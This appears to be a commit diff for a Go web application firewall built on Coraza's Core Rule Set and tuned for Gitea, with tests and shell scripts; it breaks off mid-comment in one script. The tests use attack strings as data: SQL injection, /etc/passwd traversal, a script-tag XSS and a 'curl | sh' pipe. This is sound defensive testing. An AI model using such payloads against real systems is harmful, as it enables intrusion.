// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
// Params are what New needs.
type Params struct {
// ParanoiaLevel is SWWAF_WAF_PARANOIA_LEVEL, from 1 to 4.
ParanoiaLevel int
// DisabledRules are the ids of the rules switched off
// (SWWAF_WAF_DISABLED_RULES).
DisabledRules []int
// BodyLimit is the most of a request body the Core Rule Set reads
// (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none.
BodyLimit int64
}
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
// for concurrent use.
type CoreRuleSet struct {
waf coraza.WAF
bodyLimit int64
}
// New returns the Core Rule Set with the six changes, at params'
// paranoia level, without the rules it switches off, and reading request
// bodies up to params' limit.
func New(params Params) (*CoreRuleSet, error) {
body := ""
if params.BodyLimit > 0 {
body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body)
if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules))
for i, id := range params.DisabledRules {
ids[i] = strconv.Itoa(id)
}
text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n"
}
waf, err := coraza.NewWAF(coraza.NewWAFConfig().
WithRootFS(coreruleset.FS).
WithDirectives(text))
if err != nil {
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
}
return &CoreRuleSet{waf: waf, bodyLimit: params.BodyLimit}, nil
}
// Result is what the Core Rule Set found in a request.
type Result struct {
// RuleIDs are the ids of the rules that matched, in the order they
// ran.
RuleIDs []int
// Score is the request's anomaly score: what those rules add up to.
Score int
}
// Inspect runs the Core Rule Set on r, a request from client: on its
// method, its URL with the query, and its headers, the Cookie header
// without the cookies in cookiesNotRead, and on body, r's body as the
// caller has it, as readBody reads it. It returns what it found, what it
// read of body, which the app is still to be sent, and the error that
// ended the reading early, if one did.
func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) {
tx := c.waf.NewTransaction()
// Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }()
tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header {
for _, value := range values {
if name == "Cookie" {
value = withoutCookiesNotRead(value)
if value == "" {
continue // it held those cookies alone
}
}
tx.AddRequestHeader(name, value)
}
}
// Go's server takes these two out of the headers.
tx.AddRequestHeader("Host", r.Host)
for _, encoding := range r.TransferEncoding {
tx.AddRequestHeader("Transfer-Encoding", encoding)
}
tx.ProcessRequestHeaders()
read, err := c.readBody(tx, body)
// This reads the body in memory and runs the rest of the rules, and
// cannot fail.
_, _ = tx.ProcessRequestBody()
var ids []int
for _, matched := range tx.MatchedRules() {
// The rules that look for attacks have a severity; the others set
// the Core Rule Set up and add up the score.
rule := matched.Rule()
if rule.Severity() != types.RuleSeverityUnset {
ids = append(ids, rule.ID())
}
}
return Result{RuleIDs: ids, Score: score(tx)}, read, err
}
// readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWWAF_WAF_BODY_LIMIT is set and the body is
// of a kind the Core Rule Set reads: form data and multipart, of which it
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
// when they are no longer than that, since they cannot be read in part.
// readBody reads one byte past the limit, to tell which they are, gives
// the Core Rule Set what it reads, and returns what it read and the error
// that ended the reading early, if one did.
func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
if c.bodyLimit == 0 {
return nil, nil
}
inPart := false
// How the body is read is a variable of the transaction, which only
// Coraza's interface for plugins reads.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
switch state.Variables().RequestBodyProcessor().Get() {
case "URLENCODED", "MULTIPART":
inPart = true
case "JSON", "XML":
default:
return nil, nil
}
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
// Coraza holds what it reads of the body in memory, up to the
// limit, so this cannot fail.
_, _, _ = tx.WriteRequestBody(read)
}
return read, err
}
// score returns the anomaly score the Core Rule Set added up in tx, a
// transaction it has run, or 0 if a rule that adds it up is switched off.
func score(tx types.Transaction) int {
// The score is in a variable of the transaction, which only Coraza's
// interface for plugins reads.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
values := state.Variables().TX().Get("blocking_inbound_anomaly_score")
if len(values) == 0 {
return 0
}
n, _ := strconv.Atoi(values[0])
return n
}
// withoutCookiesNotRead returns value, a Cookie header's, without the
// cookies in cookiesNotRead.
func withoutCookiesNotRead(value string) string {
var kept []string
for cookie := range strings.SplitSeq(value, ";") {
name, _, _ := strings.Cut(strings.TrimSpace(cookie), "=")
if !slices.Contains(cookiesNotRead, name) {
kept = append(kept, cookie)
}
}
return strings.Join(kept, ";")
}
internal/waf/waf_test.go
+688
View File
@@ -0,0 +1,688 @@
package waf_test
import (
"net/http"
"net/http/httptest"
"net/netip"
"net/url"
"path/filepath"
"reflect"
"strconv"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// defaultDisabledRules are the rules SWWAF_WAF_DISABLED_RULES switches off
// by default.
//
//nolint:gochecknoglobals // a constant cannot be a list
var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
// newCoreRuleSet returns the Core Rule Set at paranoia level level, with
// the rules in disabled switched off.
func newCoreRuleSet(t *testing.T, level int, disabled ...int) *waf.CoreRuleSet {
t.Helper()
crs, err := waf.New(waf.Params{ParanoiaLevel: level, DisabledRules: disabled})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// request is a request a test inspects: its method, its target, the path
// and the query as a client sends them, and its headers, each written
// "Name: value".
type request struct {
method, target string
headers []string
}
// get is a GET request for target with headers.
func get(target string, headers ...string) request {
return request{http.MethodGet, target, headers}
}
// inspect returns what crs finds in r, sent to git.example by a browser,
// whose Host, User-Agent and Accept r.headers may replace.
func inspect(t *testing.T, crs *waf.CoreRuleSet, r request) waf.Result {
t.Helper()
result, _ := inspectBody(t, crs, r, "")
return result
}
// inspectBody is inspect for r with body, which is announced with its
// Content-Length unless it is "", and returns what crs read of body too.
func inspectBody(
t *testing.T, crs *waf.CoreRuleSet, r request, body string,
) (waf.Result, string) {
t.Helper()
req := httptest.NewRequestWithContext(t.Context(), r.method,
"http://git.example"+r.target, strings.NewReader(body))
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
"Gecko/20100101 Firefox/131.0")
req.Header.Set("Accept", "text/html")
if body != "" {
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
}
for _, header := range r.headers {
// Go's server keeps Host and Transfer-Encoding out of the headers.
name, value, _ := strings.Cut(header, ": ")
switch name {
case "Host":
req.Host = value
case "Transfer-Encoding":
req.TransferEncoding = []string{value}
default:
req.Header.Set(name, value)
}
}
result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
if err != nil {
t.Fatalf("read the body: %v", err)
}
return result, string(read)
}
// wantResult checks what crs finds in r.
func wantResult(t *testing.T, crs *waf.CoreRuleSet, r request, want waf.Result) {
t.Helper()
if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want)
}
}
// matched is the result of a request that the rules ids match, each of
// them a critical one, which adds 5 to the score.
func matched(ids ...int) waf.Result {
const critical = 5
return waf.Result{RuleIDs: ids, Score: critical * len(ids)}
}
// atDefaults returns the Core Rule Set as smallwebwaf runs it by default.
func atDefaults(t *testing.T) *waf.CoreRuleSet {
t.Helper()
return newCoreRuleSet(t, 1, defaultDisabledRules...)
}
// wantChange checks that crs lets through passes, a gitea request one of
// the six changes is for, and still finds result in refused, a request
// like it that the change is not for.
func wantChange(
t *testing.T, crs *waf.CoreRuleSet, passes, refused request, result waf.Result,
) {
t.Helper()
wantResult(t, crs, passes, waf.Result{})
wantResult(t, crs, refused, result)
}
func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, r := range []request{
{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
} {
wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100))
}
wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100))
}
func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
t.Parallel()
const (
pushType = "Content-Type: application/x-git-receive-pack-request"
fetchType = "Content-Type: application/x-git-upload-pack-request"
length = "Content-Length: 1024"
push = "/owner/repo.git/git-receive-pack"
fetch = "/owner/repo.git/git-upload-pack"
)
crs := atDefaults(t)
wantResult(t, crs,
request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
waf.Result{})
wantResult(t, crs,
request{http.MethodPost, fetch, []string{
fetchType, length, "Content-Encoding: gzip",
}},
waf.Result{})
// Every other header on the Core Rule Set's list stays refused.
for _, header := range []string{
"Proxy: http://proxy.example",
"Lock-Token: token",
"Content-Range: bytes 0-1023/1024",
"If: token",
"X-HTTP-Method-Override: DELETE",
"X-HTTP-Method: DELETE",
"X-Method-Override: DELETE",
"X-Middleware-Subrequest: middleware",
} {
wantResult(t, crs,
request{http.MethodPost, push, []string{pushType, length, header}},
matched(920450))
}
}
func TestTransferEncodingIsRead(t *testing.T) {
t.Parallel()
// git sends a large push in chunks, with no Content-Length. Without
// Transfer-Encoding, that would be a POST without a length (920180).
wantResult(t, atDefaults(t),
request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{
"Content-Type: application/x-git-receive-pack-request",
"Transfer-Encoding: chunked",
}},
waf.Result{})
}
func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
t.Parallel()
const attack = "id=1'%20OR%20'1'='1"
crs := atDefaults(t)
// Coraza keeps 1000: an attack that is the 1000th is read, and one
// after it is not, but the request is a match all the same.
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100))
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300))
// So it is with the fields of a form data or JSON body.
crs = readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, strings.Repeat("a=1&", 999) + attack},
{jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`},
} {
wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body)
}
for _, tc := range []struct{ header, body string }{
{formData, strings.Repeat("a=1&", 1000) + attack},
{jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`},
} {
wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body)
}
}
func TestRedirectURIMayNameALocalAddress(t *testing.T) {
t.Parallel()
const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"
crs := atDefaults(t)
wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
get(oauth+"next=http://localhost:52341/"), matched(934110))
}
func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, value := range []struct {
name string
// result is what a parameter that is not one of gitea's gets.
result waf.Result
}{
// A file on the list of system files.
{".gitignore", matched(930120)},
// A command's name, after a directory on the list of shell paths.
{"bin/docker-entrypoint", matched(932260, 932160)},
} {
for _, parameter := range []string{
"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
"artifactName", "redirect_to",
} {
wantChange(t, crs, get("/?"+parameter+"="+value.name),
get("/?q="+value.name), value.result)
}
}
// What only those rules refuse gets through there too, but path
// traversal and SQL injection are still refused.
wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
matched(930120, 932160))
wantResult(t, crs, get("/?path=../../etc/passwd"),
waf.Result{RuleIDs: []int{930100, 930110}, Score: 20})
wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
}
func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120))
wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"),
get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
}
func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
t.Parallel()
const (
flash = "success%3DFile%2Bpackage.json%2Bdeleted"
redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
)
crs := atDefaults(t)
wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
get("/owner/repo", "Cookie: flash="+flash), matched(930120))
wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
get("/", "Cookie: redirect="+redirectTo), matched(930120))
// Among other cookies, which are read.
wantChange(t, crs,
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
"; i_like_gitea=abc"),
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
"; i_like_gitea=abc"),
matched(930120))
}
func TestRefererIsNotCheckedForACommandOrJavaStartingAProcess(t *testing.T) {
t.Parallel()
const (
search = "https://git.example/explore/repos?q=env"
runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
"java.base/share/classes/java/lang/Runtime.java"
)
crs := atDefaults(t)
wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search),
matched(932340))
wantChange(t, crs, get("/", "Referer: "+runtimeJava),
get("/", "X-Page: "+runtimeJava), matched(944110))
// It is still checked for script and SQL injection.
wantResult(t, crs,
get("/", "Referer: https://git.example/?q=<script>alert(1)</script>"),
matched(941110, 941160))
wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
matched(942100))
}
func TestEmptyHeaderIsRead(t *testing.T) {
t.Parallel()
// An empty User-Agent is a notice, which adds 2.
wantResult(t, atDefaults(t), get("/", "User-Agent: "),
waf.Result{RuleIDs: []int{920330}, Score: 2})
}
func TestParanoiaLevel(t *testing.T) {
t.Parallel()
// Accept-Charset is refused from paranoia level 2.
r := get("/", "Accept-Charset: utf-8")
wantResult(t, newCoreRuleSet(t, 1), r, waf.Result{})
wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
}
func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
t.Parallel()
// A method not allowed, and a Host that is an IP address, a warning,
// which adds 3.
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
wantResult(t, newCoreRuleSet(t, 1), r,
waf.Result{RuleIDs: []int{911100, 920350}, Score: 8})
wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, waf.Result{})
}
// bodyLimit is SWWAF_WAF_BODY_LIMIT in the tests that read bodies.
const bodyLimit = 8 << 10
// The Content-Type headers of the kinds of body the Core Rule Set reads.
const (
formData = "Content-Type: application/x-www-form-urlencoded"
multipart = "Content-Type: multipart/form-data; boundary=b"
jsonBody = "Content-Type: application/json"
xmlBody = "Content-Type: application/xml"
)
// injection is an SQL injection, which rule 942100 matches.
const injection = "1' OR '1'='1"
// readingBodies returns the Core Rule Set as smallwebwaf runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *waf.CoreRuleSet {
t.Helper()
crs, err := waf.New(waf.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// post is a POST request for / with a body of the type contentType, a
// Content-Type header, gives, and headers besides.
func post(contentType string, headers ...string) request {
return request{http.MethodPost, "/", append([]string{contentType}, headers...)}
}
// field is a part of a multipart body: the field name, holding value.
func field(name, value string) string {
return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" +
value + "\r\n"
}
// end ends a multipart body.
const end = "--b--\r\n"
// padded returns head and tail with as many a's between them as make n
// bytes in all.
func padded(head, tail string, n int) string {
return head + strings.Repeat("a", n-len(head)-len(tail)) + tail
}
// wantBody checks what crs finds in r with body, and that what it read of
// body is read.
func wantBody(
t *testing.T, crs *waf.CoreRuleSet, r request, body string, want waf.Result,
read string,
) {
t.Helper()
got, gotRead := inspectBody(t, crs, r, body)
if !reflect.DeepEqual(got, want) || gotRead != read {
t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+
"want %+v, reading %d", r.headers, len(body), body, got, len(gotRead),
want, len(read))
}
}
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
t.Parallel()
off, on := atDefaults(t), readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, "q=" + url.QueryEscape(injection)},
{multipart, field("q", injection) + end},
{jsonBody, `{"q":"` + injection + `"}`},
{xmlBody, "<q>" + injection + "</q>"},
} {
wantBody(t, off, post(tc.header), tc.body, waf.Result{}, "")
wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body)
}
}
func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
pad := strings.Repeat("a", bodyLimit)
for _, tc := range []struct{ header, attackFirst, attackLast string }{
{
formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad,
"pad=" + pad + "&q=" + url.QueryEscape(injection),
},
{
multipart, field("q", injection) + field("pad", pad) + end,
field("pad", pad) + field("q", injection) + end,
},
} {
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
tc.attackFirst[:bodyLimit+1])
wantBody(t, crs, post(tc.header), tc.attackLast, waf.Result{},
tc.attackLast[:bodyLimit+1])
}
// To the byte: a system file's path is found when it ends at the limit,
// and not when its last letter is past it, which is still read.
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
wantBody(t, crs, post(formData), pastLimit, waf.Result{}, pastLimit)
}
func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, tc := range []struct{ header, head, tail string }{
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
} {
fits := padded(tc.head, tc.tail, bodyLimit)
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
larger := padded(tc.head, tc.tail, bodyLimit+1)
wantBody(t, crs, post(tc.header), larger, waf.Result{}, larger)
}
}
func TestOtherBodiesAreNotRead(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// Read as form data, which the Core Rule Set does with a body of a type
// it does not know, this would be an SQL injection.
body := "q=" + url.QueryEscape(injection)
for _, header := range []string{
"Content-Type: application/octet-stream",
"Content-Type: text/plain",
"Content-Type: application/x-git-receive-pack-request",
} {
wantBody(t, crs, post(header), body, waf.Result{}, "")
}
}
func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) {
t.Parallel()
const gzip = "Content-Encoding: gzip"
crs := readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, "a=1"},
{multipart, field("a", "1") + end},
{jsonBody, `{"a":1}`},
{xmlBody, "<a>1</a>"},
} {
wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body)
}
// Whatever its size: a JSON body larger than the limit is not read, but
// Content-Encoding on it is refused all the same.
larger := strings.Repeat("a", bodyLimit+1)
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
// It is allowed on a body of any other kind, and on every body while no
// body is read.
fetch := "Content-Type: application/x-git-upload-pack-request"
wantBody(t, crs, post(fetch, gzip), "a", waf.Result{}, "")
wantBody(t, atDefaults(t), post(formData, gzip), "a", waf.Result{}, "")
}
func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
local := url.QueryEscape("http://127.0.0.1:52341/")
for _, tc := range []struct {
body string
want waf.Result
}{
{"path=.gitignore", waf.Result{}},
{"q=.gitignore", matched(930120)},
{"redirect_uri=" + local, waf.Result{}},
{"next=" + local, matched(931100, 934110)},
} {
wantBody(t, crs, post(formData), tc.body, tc.want, tc.body)
}
body := field("path", ".gitignore") + end
wantBody(t, crs, post(multipart), body, waf.Result{}, body)
body = field("q", ".gitignore") + end
wantBody(t, crs, post(multipart), body, matched(930120), body)
// A JSON body's field is named by its path, here json.path, and is
// checked.
body = `{"path":".gitignore"}`
wantBody(t, crs, post(jsonBody), body, matched(930120), body)
}
func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A comment that shows a shell command.
const text = "Try `curl -s https://example.org | sh` first."
comment := "content=" + url.QueryEscape(text)
wantBody(t, crs, post(formData), comment, matched(932235), comment)
// An attachment named like a log file.
attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
}
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, tc := range []struct{ contentType, body string }{
{"application/atom+xml", "<q>" + injection + "</q>"},
{"application/vnd.example+xml", "<q>" + injection + "</q>"},
{"application/vnd.example+json", `{"q":"` + injection + `"}`},
{"text/json", `{"q":"` + injection + `"}`},
} {
wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body,
matched(942100), tc.body)
}
}
func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// An end tag after the root element, past which Coraza reads none of
// the body, while an app may still read the attack before it.
body := "<q>" + injection + "</q></r>"
wantBody(t, crs, post(xmlBody), body, matched(900440), body)
// The multipart bodies Coraza cannot parse fail its strict checks too:
// one whose type names its boundary twice, and one with a part header
// that has no colon, before the attack. They do so padded past the
// limit too, which cuts them in the padding.
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
pad := field("pad", strings.Repeat("a", bodyLimit))
for _, tc := range []struct{ header, head string }{
{multipart + "; boundary=c", ""},
{multipart, noColon},
} {
body = tc.head + field("q", injection) + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body)
body = tc.head + field("q", injection) + pad + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
body[:bodyLimit+1])
}
}
func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
t.Parallel()
// The limit falls in the middle of the name of the second part's
// header, which Coraza, reading up to the limit, cannot tell from a
// header without a colon.
cut := "--b\r\nContent-Di"
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)))
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
}
func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r"
// The limit falls between the carriage return and the line feed that
// end the second part's header line, and then between those that end
// the empty line after it. Coraza, reading up to the limit, takes the
// line ending in a lone carriage return for a malformed header.
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut))
body := first + field("q", "1") + end
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
}
}
// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the
// system's temporary directory, for the whole test process.
func TestCorazaWritesNoFile(t *testing.T) {
// The system's temporary directory is one that does not exist, so that
// Coraza could write nothing there: built without no_fs_access, it
// refuses to load, and could not write a file of a multipart body.
t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
wantBody(t, readingBodies(t), post(multipart), body, matched(942100), body)
}
func TestBodyLimitOf1GLoads(t *testing.T) {
t.Parallel()
_, err := waf.New(waf.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30})
if err != nil {
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
}
}
script/build
+2 -2
View File
@@ -1,7 +1,7 @@
#!/bin/sh
# script/build: build bin/smallwebwaf on the host, with Go installed, for
# working on the code by hand. The version it reports comes from git, as
# in script/docker.
# in script/docker, and the no_fs_access tag is the Dockerfile's.
set -eu
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
@@ -11,7 +11,7 @@ main() {
cd "$ROOT"
version="$(git describe --tags --always --dirty 2>/dev/null || true)"
[ -n "$version" ] || version="unknown"
go build -trimpath -ldflags "-X main.Version=$version" \
go build -tags no_fs_access -trimpath -ldflags "-X main.Version=$version" \
-o bin/smallwebwaf ./cmd/smallwebwaf
}
script/example-app
+49 -6
View File
@@ -5,12 +5,15 @@
# served through smallwebwaf, that a second one in a minute bans the
# client, that a probe for /.env bans another client, which its next
# request bans for good, that `sv stop` stops smallwebwaf in order, that
# `docker stop` stops the container without having to kill it, and that
# a new container on the same volume still refuses the banned client. The
# `docker stop` stops the container without having to kill it, that a
# new container on the same volume still refuses the banned client, that
# a container with its state files on a new volume mounted at the
# directory SWWAF_STATE_DIR_FILE names becomes healthy, and that one whose
# SWWAF_STATE_DIR does not exist logs smallwebwaf's message about it. The
# containers run with SWWAF_LOOKUP_SOURCE=off, so that no address is sent
# to GeoJS. The containers, the volume and both images are removed however
# the script ends. Building the app needs network access, for nixpkgs'
# binary cache. script/check does not run this.
# to GeoJS. The containers, the volumes and both images are removed
# however the script ends. Building the app needs network access, for
# nixpkgs' binary cache. script/check does not run this.
set -eu
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
@@ -23,10 +26,15 @@ IMAGE="$NAME-base"
APP_IMAGE="$NAME-app"
CONTAINER="$NAME"
VOLUME="$NAME-state"
# The volumes of the container whose state directory SWWAF_STATE_DIR_FILE
# names: its state files, and the file that names their directory.
MOVED_VOLUME="$NAME-moved-state"
SETTINGS_VOLUME="$NAME-settings"
cleanup() {
docker rm --force "$CONTAINER" >/dev/null 2>&1 || true
docker volume rm --force "$VOLUME" >/dev/null 2>&1 || true
docker volume rm --force "$VOLUME" "$MOVED_VOLUME" "$SETTINGS_VOLUME" \
>/dev/null 2>&1 || true
docker rmi --force "$APP_IMAGE" "$IMAGE" >/dev/null 2>&1 || true
}
@@ -76,6 +84,27 @@ start_container() {
address="$(docker port "$CONTAINER" 8080/tcp)"
}
# start_moved_container: run the app's container with the state files on
# a new volume at /srv/state, which SWWAF_STATE_DIR_FILE names in a file
# only the smallwebwaf user can read, as under "Settings given as files"
# in README.md, and wait until it is healthy. smallwebwaf can write the
# new volume only once the run script has given it to that user.
start_moved_container() {
docker volume create "$MOVED_VOLUME" >/dev/null
docker volume create "$SETTINGS_VOLUME" >/dev/null
docker run --rm --volume "$SETTINGS_VOLUME:/settings" \
--entrypoint bash "$IMAGE" -c 'echo /srv/state > /settings/state-dir &&
chown smallwebwaf:smallwebwaf /settings/state-dir &&
chmod 0400 /settings/state-dir'
docker run --detach --name "$CONTAINER" \
--volume "$MOVED_VOLUME:/srv/state" \
--volume "$SETTINGS_VOLUME:/etc/smallwebwaf/settings:ro" \
--env SWWAF_STATE_DIR_FILE=/etc/smallwebwaf/settings/state-dir \
--env SWWAF_LOOKUP_SOURCE=off \
"$APP_IMAGE" >/dev/null
wait_for "the health check did not pass" healthy
}
# refused: a request to the container gets 403, SWWAF_BAN_RESPONSE's
# default.
refused() {
@@ -140,6 +169,20 @@ main() {
wait_for "smallwebwaf logged no request refused under the ban" \
logged '"action":"banned"'
echo "example-app: a new container on the same volume keeps the ban"
docker rm --force "$CONTAINER" >/dev/null
start_moved_container
echo "example-app: the run script gives the state files' directory named" \
"by SWWAF_STATE_DIR_FILE to the smallwebwaf user"
docker rm --force "$CONTAINER" >/dev/null
docker run --detach --name "$CONTAINER" \
--env SWWAF_STATE_DIR=/srv/missing \
--env SWWAF_LOOKUP_SOURCE=off \
"$APP_IMAGE" >/dev/null
wait_for "smallwebwaf did not report the missing state directory" \
logged "SWWAF_STATE_DIR cannot be written"
echo "example-app: smallwebwaf reports a state directory that does not exist"
}
main "$@"
script/gitea-requests
Executable
+335
View File
@@ -0,0 +1,335 @@
#!/bin/sh
# script/gitea-requests: build the image and run gitea 1.27.3 behind it,
# with every setting of smallwebwaf at its default but SWWAF_UPSTREAM_URL,
# which names gitea's container. Then send through it the gitea requests
# that reading gitea's source found the Core Rule Set refuses, and a short
# sample of gitea's ordinary use: signing in, pages of files and commits,
# a diff, the API, a push, clone and fetch over HTTP, and two container
# image pushes. Last, print each request smallwebwaf logged, with what it
# did with it and the ids of the Core Rule Set's rules that matched it.
# Every request comes from one client, docker's gateway, so more than
# SWWAF_ERROR_BURST_THRESHOLD, 30, refusals in a minute would ban it, and
# the requests after would show as banned. The containers, the network,
# the images and the files the script makes are removed however it ends;
# gitea's own image stays, as the base images of a build do. It needs
# network access, and a docker daemon that pushes to a registry on
